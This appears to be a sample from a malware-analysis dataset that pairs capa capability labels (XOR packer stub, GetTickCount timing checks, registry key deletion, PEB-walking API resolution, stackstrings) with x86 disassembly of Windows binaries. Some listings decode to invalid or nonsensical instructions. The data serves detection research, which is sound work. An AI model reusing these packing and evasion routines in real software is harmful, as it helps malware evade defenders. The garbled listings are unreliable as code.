joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x402a7a
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42e4b0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402b0e
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402acb
cmp dword [ebp + 0x10], ebx
jne 0x402b02
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00402a7a
test eax, eax
jne 0x402add
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ab2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004060c8
cmp eax, ebx
je 0x402b15
push ebx
push dword [0x42e4b0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402b0e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42e4b0], ebx
jne 0x402b0b
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402b0b
jmp 0x402b0e
Function at 0x402e9f
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x402ebc
mov dword [ebp - 8], reloc.USER32.dll_CreatePopupMenu
and dword [ebp - 4], 0
mov dword [ebp - 0xc], edi
test edi, edi
jne 0x402ece
mov dword [ebp - 0xc], 0x418420
mov eax, dword [ebp + 8]
test eax, eax
jl 0x402ee3
mov ecx, dword [0x42e458]
add ecx, eax
push ecx
call fcn.004030c7
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.004030b1
test eax, eax
je 0x40309f
test byte [ebp + 0x17], 0x80
je 0x40304a
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
and dword [0x40ad84], 0
and dword [0x40ad80], 0
and dword [ebp + 0x14], 0x7fffffff
mov dword [ebp - 0x10], eax
mov eax, 0x40c408
mov dword [0x40a868], 8
mov dword [0x414410], eax
mov dword [0x41440c], eax
mov eax, dword [ebp + 0x14]
mov dword [0x414408], 0x414408
mov dword [ebp + 8], eax
jle 0x4030a7
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x402f5c
mov esi, dword [ebp + 0x14]
mov edi, 0x414420
push esi
push edi
call fcn.004030b1
test eax, eax
je 0x40309f
sub dword [ebp + 0x14], esi
mov dword [0x40a858], edi
mov dword [0x40a85c], esi
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push 0x40a858
mov dword [0x40a860], edi
mov dword [0x40a864], eax
call fcn.004061ab
test eax, eax
mov dword [ebp - 0x14], eax
jl 0x403042
mov esi, dword [0x40a860]
sub esi, edi
call ebx
test byte [0x42e4b4], 1
mov edi, eax
je 0x402ffd
sub eax, dword [ebp - 0x10]
cmp eax, 0xc8
ja 0x402fca
cmp dword [ebp + 0x14], 0
jne 0x402ffd
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x54]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push 0
call fcn.00404f48
mov dword [ebp - 0x10], edi
test esi, esi
je 0x403036
cmp dword [ebp + 0x10], 0
jne 0x40301c
push esi
push dword [ebp - 0xc]
push dword [ebp + 0xc]
call fcn.00405a49
test eax, eax
je 0x403046
add dword [ebp - 4], esi
jmp 0x40302a
mov eax, dword [0x40a860]
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 1
jne 0x402f7f
jmp 0x4030a7
cmp dword [ebp + 0x14], 0
jg 0x402f4f
jmp 0x4030a7
push 0xfffffffffffffffc
jmp 0x4030a1
push 0xfffffffffffffffe
jmp 0x4030a1
test edi, edi
jne 0x40308c
cmp dword [ebp + 0x14], edi
jle 0x4030a7
mov ebx, dword [ebp - 8]
cmp dword [ebp + 0x14], ebx
mov esi, dword [ebp + 0x14]
jl 0x403060
mov esi, ebx
mov edi, 0x414420
push esi
push edi
call fcn.004030b1
test eax, eax
je 0x40309f
push esi
push edi
push dword [ebp + 0xc]
call fcn.00405a49
test eax, eax
je 0x403046
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x403056
jmp 0x4030a7
cmp dword [ebp + 0x14], esi
jge 0x403094
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.004030b1
test eax, eax
jne 0x4030a4
push 0xfffffffffffffffd
pop eax
jmp 0x4030aa
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4057cc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push dword [ebp - 0x748]
push dword [ebp - 0x380]
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x4057f1
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
invalid
invalid
pop esp
cld

Function at 0x40597d
Capabilities:
Get common file path

Disassembly:
call dword [ebx + 0x6499ceed]
mov eax, dword [0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
xlatb
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.004037a2
les edx, [esi - 0x7d]
push cs
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x40598f
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x40598f
call fcn.004037a2
rcr byte [ebp + 5], 1
add byte [ebx - 0x20fcdba6], cl
mov cx, word [ebx + ecx*2]
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.004037a2
loopne 0x40594c
test dword [edi + edi*8], 0x75ff0875
add al, 0xff
jne 0x4059d7

Function at 0x4059a2
Capabilities:
Get common file path

Disassembly:
call dword [ebx + 0x6499ceed]
mov eax, dword [0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
xlatb
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.004037a2
les edx, [esi - 0x7d]
push cs
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x40598f
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x40598f
call fcn.004037a2
rcr byte [ebp + 5], 1
add byte [ebx - 0x20fcdba6], cl
mov cx, word [ebx + ecx*2]
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.004037a2
loopne 0x40594c
test dword [edi + edi*8], 0x75ff0875
add al, 0xff
jne 0x4059d7

Function at 0x4059d1
Capabilities:
Get common file path

Disassembly:
push dword [ebp + 4]
push dword [ebp]
call fcn.00403fa2
mov eax, dword [0x4093ac]
dec edi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405a16
test edi, edi
jne 0x4059dc
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405a10
Function at 0x405a78
Capabilities:
Get file size

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, 0x42b5f8
push 0x4093c8
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test esi, esi
mov ebx, 0x400
je 0x405ac6
push 1
push 0
push esi
call fcn.004059a2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push edi
push esi
call ebp
test eax, eax
je 0x405be5
cmp eax, ebx
jg 0x405be5
mov esi, 0x42b9f8
push ebx
push esi
push dword [esp + 0x1c]
call ebp
test eax, eax
je 0x405be5
cmp eax, ebx
jg 0x405be5
push esi
push edi
push str._s_s_r_n
push 0x42b1f8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x42e410]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00405d51
push 4
push 0xc0000000
push esi
call fcn.004059a2
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x405be5
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405bde
push edi
push esi
push ebp
call fcn.00405a1a
test eax, eax
je 0x405bde
push str._Rename__r_n
push esi
call fcn.00405907
test eax, eax
jne 0x405b7c
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x405bb1
add eax, 0xa
push 0x4093b0
push eax
call fcn.00405907
mov ebp, eax
test ebp, ebp
je 0x405bad
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x405b9e
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x405b98
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x405bb3
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x42b1f8
push eax
call fcn.0040595d
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00405a49
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x405bea
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x405c0d
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405a78
pop ecx
pop ecx
inc dword [0x42e490]
ret 8
Function at 0x405c16
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
mov esi, dword [ebp + 0x14]
and eax, 0x100
or eax, 0x20019
mov byte [esi], bl
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405c87
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x400
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405c76
cmp dword [ebp + 0x14], 1
je 0x405c78
cmp dword [ebp + 0x14], 2
je 0x405c78
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x40605a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x40607e
xor eax, eax
test eax, eax
je 0x406090
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406090
xor ecx, ecx
jmp 0x406093
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x40613d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42bdfc], 0
push esi
jne 0x406174
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x40614e
mov dword [ecx*4 + 0x42bdf8], eax
inc ecx
cmp ecx, 0x100
jl 0x406149
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4061a5
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42bdf8]
xor eax, esi
inc ecx
dec edx
jne 0x406187
pop edi
not eax
pop esi
ret 0xc
Function at 0x407ef0
Capabilities:
Encode data using xor

Disassembly:
push es
inc ebp
mov eax, ebx
fisttp qword [edx]
add byte [eax], al
add byte [ecx - 0x3fe40609], bl
mov ecx, edx
jle 0x407ea9
mov eax, 0x66d5667a
mul dword [0x8b52f0c1]
ret 0xe8c1
add dl, 0x30
mov byte [esi], dl
inc esi
add cl, 0x79
mov byte [esi], cl
xlatb
pop ecx
scasd eax, dword es:[edi]
invalid
push ebp
mov ebp, dword [ebx + ecx*4 - 0x14]
adc al, 0x83
jge 0x407e80
dec edi
jl 0x407f03
mov dword [ebp + 0x6e], 0x4e
fld qword [ebp + 0x5e]
fcomp qword [0x48c230]
stosb byte es:[edi], al
add byte [eax], bl
push ebx
mov ebx, dword [ebp - 0x4c]
div dword [ebx]
not byte [edi - 0x21]
loopne 0x407ea3
jne 0x407f18
jl 0x407f4f
neg bl
add eax, 0xdb7afb8b
fld qword [ebp + 8]
fchs
fstp qword [ebp + 8]
ljmp 0x8b00
add dword [eax], edx
add byte [eax], al
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
invalid
aas
push eax
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_modf]
frstor dword [ecx]
or byte [ebx + 0x45], ch
rcr esp, cl
sbb eax, 0x40c230
add esp, 0xc
fistp word [ecx]
inc eax
add byte [ebx + 0x19df0cc4], al
test ah, 0x44
sbb dh, byte [edx - 0x73]
jae 0x407fae
cmp esi, ebx
jbe 0x407fba
fld qword [ebp - 0x14]
fcomp qword [0x56c230]
fnstsw ax
test ah, 0x67
jnp 0x407f2e
fld qword [ebp - 0x14]
fmul qword [0x4340c310]
lea eax, [ebp - 0x137caf14]
in al, dx
mov ah, 0x22
mov dword [edi + edi*8], esp
adc eax, sym.imp.MSVCRT.dll_modf
fstp qword [ebp - 0x5d]
mov byte [ebp + 1], al
fdivr qword [ebp + 0x40c308]
add esp, 0xc
dec esi
push ecx
or eax, 0x406d00
call fcn.0040b580
mov esp, esp
and byte [ecx - 0x7737b7d0], dh
je 0x407f3b
dec ebp
cld
inc ecx
cmp esi, dword [edi + 0x12fc4d89]
test al, 0x8d
inc ebx
push eax
lea eax, [ebx + 0x50]
cmp esi, eax
jae 0x40801d
mov dl, byte [esi]
xor eax, 0x3b46bc3b
jb 0x407fc1
jmp 0x407f80
mov eax, ecx
adc byte [ebp + 0x458b1834], cl
sbb al, 0xd7
sal byte [ebp + 3], 3
jne 0x408060
mov ecx, eax
adc al, 0x3b
jae 0x408047
mov eax, dword [ebp + 0x10]
pop edi
neg eax
lds eax, [ecx]
invalid
mov ebx, esi
cld
pop ebx
mov ch, 0x89
adc dword [edi + 0x3c], esi
fld qword [ebp + 8]
lea eax, [ebx + 0x50]
cmp edi, eax
jae 0x40808a
fmul qword [0x40c262]
lea eax, [ebp + 0xf]
push eax
xor dword [eax + 8], 0xffffffdd
sbb al, 0xb
call dword [0x73c118]
fld qword [ebp - 0xc]
add esp, 0xc
call fcn.0040b580
mov ecx, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x20]
add al, 0x30
mov byte [edi], al
inc edi
cmp edi, esi
jp 0x4080a4
fstp qword [ebp - 0x73]
mov edx, 0x72f22156
or eax, 0x4f43c65f
adc al, 0xcd
out dx, al
pop esi
pop ebx
insb byte es:[edi], dx
in eax, 0xc3
ret
add dl, 5
cmp dl, 0x39
mov byte [esi], dl
jle 0x4080d6
sbb edx, dword [ebp + 0x1c]
cmp esi, ebx
invalid
add byte [eax], 0xa
pop edi
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esi, 0x90239090
nop
nop
nop
insb byte es:[edi], dx
nop
nop
nop
nop
nop
nop
Function at 0x403540
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403559
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403594
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x403590
lea ebx, [ebx]
cmp esi, eax
jae 0x403594
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x403580
cmp esi, eax
jb 0x40359a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x413d20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dbc6a
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x6306b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
push 0x2f8
mov dword [ebp - 4], 0
call fcn.004a3787
mov ecx, eax
add esp, 4
mov dword [ebp - 0x14], ecx
test ecx, ecx
mov byte [ebp - 4], 1
je 0x413d79
mov eax, dword [edi + 0x4c]
push eax
call fcn.00498800
jmp 0x413d7b
xor eax, eax
test eax, eax
mov dword [edi + 0x60], eax
je 0x413dc4
lea ecx, [ebp - 0x14]
push ecx
push 0
push eax
push 0x413290
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [edi + 0x60]
xor esi, esi
mov dword [edi + 0x44], eax
cmp dword [edx + 0x11c], esi
jne 0x413dc4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
add esi, 1
cmp esi, 0x32
jg 0x413dc4
mov eax, dword [edi + 0x60]
cmp dword [eax + 0x11c], 0
je 0x413da8
mov eax, dword [edi + 0x60]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414840
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4dbda7
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov eax, dword [0x6306b0]
xor eax, esp
push eax
lea eax, [esp + 0x24]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x20], esi
lea edi, [esi + 4]
xor ebx, ebx
mov dword [esi], vtable.CBaseDlgMgr.0
mov dword [edi + 4], ebx
mov dword [edi + 8], ebx
mov dword [edi + 0xc], ebx
lea ebp, [esi + 0x14]
mov dword [esp + 0x2c], ebx
mov dword [ebp + 4], ebx
mov dword [ebp + 8], ebx
mov dword [ebp + 0xc], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov byte [esp + 0x2c], 2
call fcn.004a523f
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x4148b9
push 0x80004005
call fcn.00403520
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi + 0x38], eax
mov byte [esp + 0x2c], 3
call fcn.004a523f
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x4148e7
push 0x80004005
call fcn.00403520
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi + 0x54], eax
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x58], ebx
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], ebx
mov eax, dword [edi + 8]
cmp dword [edi + 4], eax
mov byte [esp + 0x2c], 4
mov dword [esp + 0x18], eax
jbe 0x414918
call fcn.004b5f27
mov eax, dword [edi + 4]
cmp eax, dword [edi + 8]
mov dword [esp + 0x14], eax
jbe 0x41492d
call fcn.004b5f27
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
push ecx
push edi
push eax
push edi
lea edx, [esp + 0x28]
push edx
mov ecx, edi
call fcn.00414750
mov edi, dword [ebp + 8]
cmp dword [ebp + 4], edi
jbe 0x41494e
call fcn.004b5f27
mov eax, dword [ebp + 4]
cmp eax, dword [ebp + 8]
mov dword [esp + 0x18], eax
jbe 0x414963
call fcn.004b5f27
mov eax, dword [esp + 0x18]
push edi
push ebp
push eax
push ebp
lea eax, [esp + 0x28]
push eax
mov ecx, ebp
call fcn.00414750
mov ebp, dword [esi + 0x30]
cmp dword [esi + 0x2c], ebp
lea edi, [esi + 0x28]
jbe 0x414983
call fcn.004b5f27
mov eax, dword [edi + 4]
cmp eax, dword [edi + 8]
mov dword [esp + 0x18], eax
jbe 0x414998
call fcn.004b5f27
mov eax, dword [esp + 0x18]
push ebp
push edi
push eax
push edi
lea ecx, [esp + 0x28]
push ecx
mov ecx, edi
call fcn.00409560
or eax, 0xffffffff
mov dword [esi + 0x68], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x70], ebx
mov eax, esi
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret